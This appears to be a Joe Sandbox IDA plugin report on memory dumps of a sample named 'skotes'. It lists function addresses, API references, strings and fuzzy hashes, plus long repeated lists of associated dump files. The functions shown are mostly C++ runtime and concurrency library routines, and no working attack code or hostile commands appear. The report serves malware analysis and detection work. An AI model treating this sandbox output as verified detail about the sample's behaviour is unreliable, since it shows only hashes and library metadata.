Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: ae93eb308e421fc4b840ccbbb8b57ca9e074ab34e7b80710d83ab175b4d0f2fa
Instruction ID: 0ec82bfd44c1ceb07a2a7050bccbd8262e1b3afe5d002b18b30ce75834acfea0
Opcode Fuzzy Hash: ae93eb308e421fc4b840ccbbb8b57ca9e074ab34e7b80710d83ab175b4d0f2fa
Instruction Fuzzy Hash: 33217F70E1021D8ADF35DFA4C8557EEB7F4BF54320F200929E951A62D1E7B14AC5CB50

Function 00931B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00931B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00931B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00931C2A

Strings

switchState, xrefs: 00931B5E
pContext, xrefs: 00931C22

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 920d77f440fafb4cc4512cb4176605dc286fd579b00a44c130359237677da061
Instruction ID: ecb9d4a68251e4f34dc0eef4b4e22f8db80aae9df56f9f0f6e8478a5c185da79
Opcode Fuzzy Hash: 920d77f440fafb4cc4512cb4176605dc286fd579b00a44c130359237677da061
Instruction Fuzzy Hash: B431C635A40214ABCF09EF64C881AADB3B9FF84314F208565ED11972A6EB71EE05CF90

Function 0093727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 009372BE

Strings

.com, xrefs: 009372FE
.cmd, xrefs: 009372DC
.bat, xrefs: 009372ED
.exe, xrefs: 009372CB

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 845a402210e34032e488f0e9e4dce1b5ca5c7fcd7b4280841dca6ac448d088a8
Instruction ID: 51408f2d71773f4b083b9057547e17173f17c0a1571b7ac60c987f4233f8ecb7
Opcode Fuzzy Hash: 845a402210e34032e488f0e9e4dce1b5ca5c7fcd7b4280841dca6ac448d088a8
Instruction Fuzzy Hash: C30126677086263566356199AD03B6B938C8BC2BB8F25002AFC54FB1C1EF44DD426AA0

Function 0091FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0091FB06

Strings

SetThreadGroupAffinity, xrefs: 0091FA87
kernel32.dll, xrefs: 0091FA7A
GetCurrentProcessorNumberEx, xrefs: 0091FABE
GetThreadGroupAffinity, xrefs: 0091FA93

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 0f33b44f8151868638a3912ebd61a2456387714a6f3283b3fa5b67809d78de75
Instruction ID: a52e07d9e12e409a9dc42b13f654af282957782068b99ab96c8b1d6d0fa13e0a
Opcode Fuzzy Hash: 0f33b44f8151868638a3912ebd61a2456387714a6f3283b3fa5b67809d78de75
Instruction Fuzzy Hash: 97012D61A9531D6EB310F7FA6C93BEB65DC8D8570CB60197FF944E2153FDA4D8084260

Function 00932097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 009320B7

Part of subcall function 0092CAF3: Mailbox.LIBCMT ref: 0092CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 009320C8
StructuredWorkStealingQueue.LIBCMT ref: 009320FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0093210F

Strings

e, xrefs: 009320D9

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: e29d66ad70ccbd60a814222873696f2c6457c64b44a36d14d3b4688101234522
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 2F11C631108205ABDB55DFB9C98176B73A8EF41368F14C55AFC069F206DB75D905CF90

Function 0091D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0091D0A5

Strings

kernel32.dll, xrefs: 0091D04C
WakeAllConditionVariable, xrefs: 0091D069
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0091D03B
SleepConditionVariableCS, xrefs: 0091D05D

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
